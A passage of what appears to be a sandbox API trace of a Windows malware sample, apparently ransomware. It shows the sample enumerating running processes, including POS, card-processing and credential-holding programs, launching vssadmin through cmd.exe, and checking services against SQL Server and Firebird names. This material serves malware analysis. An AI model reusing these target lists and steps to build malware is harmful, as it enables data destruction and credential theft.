szExeFile="thunderbird.exe")) returned 1 [0082.104] lstrlenW (lpString="thunderbird.exe") returned 15 [0082.104] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0082.106] lstrlenW (lpString="totalcmd.exe") returned 12 [0082.106] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0082.108] lstrlenW (lpString="trillian.exe") returned 12 [0082.108] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0082.110] lstrlenW (lpString="webdrive.exe") returned 12 [0082.110] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0082.111] lstrlenW (lpString="whatsapp.exe") returned 12 [0082.111] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0082.113] lstrlenW (lpString="winscp.exe") returned 10 [0082.113] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0082.115] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0082.115] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0082.117] lstrlenW (lpString="active-charge.exe") returned 17 [0082.117] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0082.119] lstrlenW (lpString="accupos.exe") returned 11 [0082.119] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0082.121] lstrlenW (lpString="afr38.exe") returned 9 [0082.121] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0082.123] lstrlenW (lpString="aldelo.exe") returned 10 [0082.123] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0082.124] lstrlenW (lpString="ccv_server.exe") returned 14 [0082.124] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0082.126] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0082.126] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0082.128] lstrlenW (lpString="creditservice.exe") returned 17 [0082.128] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0082.129] lstrlenW (lpString="edcsvr.exe") returned 10 [0082.129] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0082.131] lstrlenW (lpString="fpos.exe") returned 8 [0082.131] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0082.132] lstrlenW (lpString="isspos.exe") returned 10 [0082.133] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0082.134] lstrlenW (lpString="mxslipstream.exe") returned 16 [0082.134] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0082.136] lstrlenW (lpString="omnipos.exe") returned 11 [0082.136] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0082.137] lstrlenW (lpString="spcwin.exe") returned 10 [0082.137] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0082.138] lstrlenW (lpString="spgagentservice.exe") returned 19 [0082.139] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0082.140] lstrlenW (lpString="utg2.exe") returned 8 [0082.140] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0082.141] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0082.141] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0082.142] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0082.143] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0082.240] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0082.240] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0082.241] lstrlenW (lpString="achieve.exe") returned 11 [0082.241] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0082.243] lstrlenW (lpString="harvard.exe") returned 11 [0082.243] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0082.244] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0082.244] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0082.245] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0082.245] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0082.247] lstrlenW (lpString="taskhost.exe") returned 12 [0082.247] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0082.248] lstrlenW (lpString="mdskkv.exe") returned 10 [0082.248] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0082.250] lstrlenW (lpString="cmd.exe") returned 7 [0082.250] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0082.251] lstrlenW (lpString="conhost.exe") returned 11 [0082.251] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0082.253] lstrlenW (lpString="vssadmin.exe") returned 12 [0082.253] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0082.254] lstrlenW (lpString="VSSVC.exe") returned 9 [0082.254] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0082.255] CloseHandle (hObject=0x1d8) returned 1 [0082.255] Sleep (dwMilliseconds=0x1f4) [0083.045] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624d38 [0083.198] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0083.207] GetLastError () returned 0xea [0083.208] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x123e) returned 0x622818 [0083.208] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x622818, cbBufSize=0x123e, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x622818, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0083.209] CloseServiceHandle (hSCObject=0x624d38) returned 1 [0083.209] lstrlenW (lpString="Appinfo") returned 7 [0083.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0083.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0083.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0083.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0083.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0083.210] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0083.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0083.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0083.210] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0083.210] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0083.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0083.214] lstrlenW (lpString="AudioSrv") returned 8 [0083.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0083.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0083.214] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0083.214] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0083.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0083.214] lstrlenW (lpString="BFE") returned 3 [0083.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0083.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0083.214] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0083.214] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0083.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0083.214] lstrlenW (lpString="CryptSvc") returned 8 [0083.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0083.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0083.215] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0083.215] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0083.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0083.215] lstrlenW (lpString="CscService") returned 10 [0083.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0083.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0083.215] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0083.215] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0083.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0083.215] lstrlenW (lpString="DcomLaunch") returned 10 [0083.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0083.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0083.215] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0083.215] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0083.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0083.215] lstrlenW (lpString="Dhcp") returned 4 [0083.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0083.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0083.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0083.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0083.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0083.215] lstrlenW (lpString="Dnscache") returned 8 [0083.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0083.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0083.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0083.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0083.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0083.216] lstrlenW (lpString="DPS") returned 3 [0083.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0083.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0083.216] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0083.216] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0083.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0083.216] lstrlenW (lpString="eventlog") returned 8 [0083.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0083.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0083.216] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0083.216] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0083.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0083.216] lstrlenW (lpString="EventSystem") returned 11 [0083.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0083.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0083.216] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0083.216] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0083.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0083.217] lstrlenW (lpString="gpsvc") returned 5 [0083.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0083.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0083.217] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0083.217] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0083.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0083.217] lstrlenW (lpString="iphlpsvc") returned 8 [0083.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0083.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0083.217] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0083.217] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0083.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0083.217] lstrlenW (lpString="LanmanServer") returned 12 [0083.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0083.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0083.217] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0083.217] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0083.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0083.217] lstrlenW (lpString="LanmanWorkstation") returned 17 [0083.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0083.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0083.217] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0083.217] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0083.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0083.217] lstrlenW (lpString="lmhosts") returned 7 [0083.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0083.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0083.218] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0083.218] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0083.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0083.218] lstrlenW (lpString="MMCSS") returned 5 [0083.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0083.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0083.218] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0083.218] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0083.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0083.218] lstrlenW (lpString="MpsSvc") returned 6 [0083.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0083.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0083.218] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0083.218] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0083.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0083.218] lstrlenW (lpString="Netman") returned 6 [0083.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0083.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0083.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0083.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0083.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0083.218] lstrlenW (lpString="netprofm") returned 8 [0083.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0083.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0083.218] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0083.218] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0083.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0083.219] lstrlenW (lpString="NlaSvc") returned 6 [0083.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0083.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0083.219] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0083.219] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0083.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0083.219] lstrlenW (lpString="nsi") returned 3 [0083.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0083.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0083.219] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0083.219] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0083.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0083.219] lstrlenW (lpString="PcaSvc") returned 6 [0083.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0083.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0083.219] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0083.219] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0083.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0083.219] lstrlenW (lpString="PlugPlay") returned 8 [0083.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0083.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0083.219] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0083.219] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0083.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0083.219] lstrlenW (lpString="Power") returned 5 [0083.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0083.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0083.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0083.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0083.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0083.219] lstrlenW (lpString="ProfSvc") returned 7 [0083.219] lstrcmpiW 